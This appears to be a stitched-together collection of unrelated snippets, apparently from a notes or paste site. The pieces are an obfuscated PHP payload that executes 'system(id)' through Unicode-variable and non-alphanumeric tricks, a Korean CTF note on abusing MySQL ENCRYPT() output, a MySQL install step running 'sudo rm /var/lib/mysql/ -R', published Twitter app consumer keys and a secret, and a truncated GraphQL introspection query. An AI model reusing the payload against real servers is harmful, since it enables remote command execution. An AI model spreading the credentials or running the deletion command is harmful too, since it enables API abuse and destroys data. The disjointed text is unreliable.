tarunkant

/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>


<!-- 
  Explanation:
    - Some of the characters might look like alphanumeric, but they are Unicode characters.
    - 'ArrayΦ' <-> [].Φ
    - 1 <-> ![]
    - 'a' <-> ([].Φ)[![]+![]+![]]

tarunkant

Mathboy7 (415pt)

ENCRYPT() 함수를 통해 Random String을 만들 수 있음

encryption-functions from mysql.com

1. ENCRYPT(x) 시 확률상 문제를 풀 수 없지만, salt 값을 설정하면 첫번째 몇 글자 정도는 같게 되므로 확률이 굉장히 줄어듬.

2. ENCRYPT(x,y) 출력시 나오는 값은 A-Za-z0-9./ 로 이루어져있어서 확률상 어렵지만, 문제에서 strtolower($var) 로 인해 확률이 2차적으로 줄어들음.

tarunkant

MySQL Download URL

https://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.56-linux-glibc2.5-x86_64.tar.gz

Open the terminal and follow along:

• Uninstall any existing version of MySQL

sudo rm /var/lib/mysql/ -R

tarunkant

Twitter Official Consumer Key

Twitter for Android

type:            PIN
Consumer key:    3nVuSoBZnx6U4vzUxf5w
Consumer secret: Bcs59EFbbsdF6Sl9Ng71smgStWEGwXXKSjYvPVt7qys

Twitter for iPhone

type:            PIN

Consumer key: IQKbtAYlXLripLGPWd0HUA

tarunkant

  query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {